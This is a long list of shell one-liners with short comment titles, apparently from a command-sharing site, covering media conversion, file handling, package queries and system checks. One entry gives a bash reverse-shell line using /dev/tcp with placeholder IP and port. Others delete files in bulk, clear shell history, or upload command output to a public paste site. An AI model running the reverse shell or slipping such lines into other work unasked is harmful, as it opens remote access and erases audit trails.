watch -t -n1 'date "+%r %F %A"'
# mix video and audio
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
# Paste command output to www.pastehtml.com in txt format.
paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
# extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
# Buffer in order to avoir mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ]
) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
# Delete all files older than X in given path
find . -mtime +10 -delete
# Work out numerical last month
LASTMONTHNUM=`date -d "last month" +%m`
# Create a file of a given size in linux
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1
# reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3
# using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
# replace strings in file names
rename 's/foo/bar/g' foobar
# Check if filesystem hangs
ls /mnt/badfs &
# disk space email alert
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com
# convert a line to a space
echo $(cat file)
# List every file that has ever existed in a git repository
git log --all --pretty=format:" " --name-only | sort -u
# remove newlines from specific lines in a file using sed
sed -i '/pattern/N; s/\n//' filename
# Console clock
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done
# Get sunrise and sunset times
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
# Replicate a directory structure dropping the files
find . -type d -exec mkdir -p $DESTDIR/{} \;
# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile
phoneffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect
16:9 Chuck20100208800PMChuckVersustheMask.mp4
# Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html
# create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
# c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
# Get your public ip
curl -s ip.appspot.com
# Update twitter with Perl
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR
TWEET");'
# Recover deleted Binary files
sudo foremost -i /dev/sda -o /recovery
# Continue a current job in the background
%1 &!
# Dump a configuration file without comments or whitespace...
grep -v "\ *#\|^$" /etc/path/to.config
# Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
# Length of longest line of code
awk '(length>t) {t=length} END {print t}' *.cpp
# Replace "space" char with "dot" char in current directory file names
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
# Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
# Add a progress counter to loop (see sample output)
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;
# Multiple variable assignments from command output in BASH
eval $(date +"day=%d; month=%m; year=%y")
# Copy the sound content of a video to an mp3 file
ffmpeg -i source.flv -vn acodec copy destination.mp3
# disable caps lock
xmodmap -e "remove Lock = Caps_Lock"
# Create a video that is supported by youtube
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv mytarget.flv
# Clear your history saved into .bash_history file!
history -c
# Annoying PROMPT_COMMAND animation
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'
# uniq without pre-sorting
perl -ne 'print if !$a{$_}++'
# Print all /etc/passwd lines with duplicated uid
awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g'
# Run the last command as root - (Open)Solaris version with RBAC
pfexec !!
# create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
# count how many cat processes are running
ps ax | grep -c [c]at
# Get length of current playlist in xmms2
xmms2 list | grep '^\s\+\[' | wc -l
# Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
# Flush DNS cache in MacOS 10.5
dscacheutil -flushcache
# Get IP from hostname
dig +short google.com
# Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
# mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi
# Compress blank lines in VIM
:g/^\s*$/,/\S/-j|s/.*//
# Open a file explorer on a split screen inside your vim session
:Sex
# Mount iso to /mnt on Solaris
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
# Create commands to download all of your Picasaweb albums
google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ picasa\ get\ /|awk ' {print $0,"."}'
# Random file naming
mv file.png $( mktemp -u | cut -d'.' -f2 ).png
# Extract the MBR ID of a device
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"'
# exclude file(s) from rsync
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
# View a man page on a nice interface
yelp man:foo
# Get My Public IP Address
curl -s http://whatismyip.org/
# watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'
# Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Search for a string inside all files in the current directory
find . -type f -print0 | xargs -0 grep -i
# Sed can refference parts of the pattern in the replacement:
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
# Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo
# Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
# gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
# Sort installed rpms by decreasing size.
rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
# Find which service was used by which port number
getent services
# Start vim without initialization
vim -u NONE yourfile
# Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles
# print battery , thermal , and cooling info
acpi -tc
# Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$
# hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
# Sort installed rpms in alphabetic order with their size.
rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
# Show LAN IP with ip(8)
ip route show dev eth0 | awk '{print $7}'
# diff will usually only take one file from STDIN. This is a method to take the
result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.diff <(cd /path-1; find . -type f
-print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
# Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
# Revert an SVN file to previous revision
svn up -rREV file
# copy last command to clipboard
echo "!!" | pbcopy
# make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
# Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep ://
# Check if a command is available in your system
type {command} >/dev/null
# Start a terminal with three open tabs
gnome-terminal --tab --tab --tab
# Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
# Take a screenshot of a login screen
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png
# Copy a directory recursively without data/files
find . -type d -exec mkdir /copy_location/{} \;
# lsof - cleaned up for just open listening ports, the process, and the owner of
the processalias oports="echo 'User: Command: Port:'; echo '----------------------------' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1,
\$9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"
# Convert a date to timestamp
date --utc --date "2009-02-06 09:57:54" +%s
# Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
# Make info pages much less painful
pinfo date
# github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:/.git
# Mount/unmount your truecrypted file containers
truecrypt volume.tc
# Analyse writing style of writing style of a document
style TEXT-FILE
# Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
# paste one file at a time instead of in parallel
paste --serial file1 file2 file3
# Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
# Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints | shnsplit -o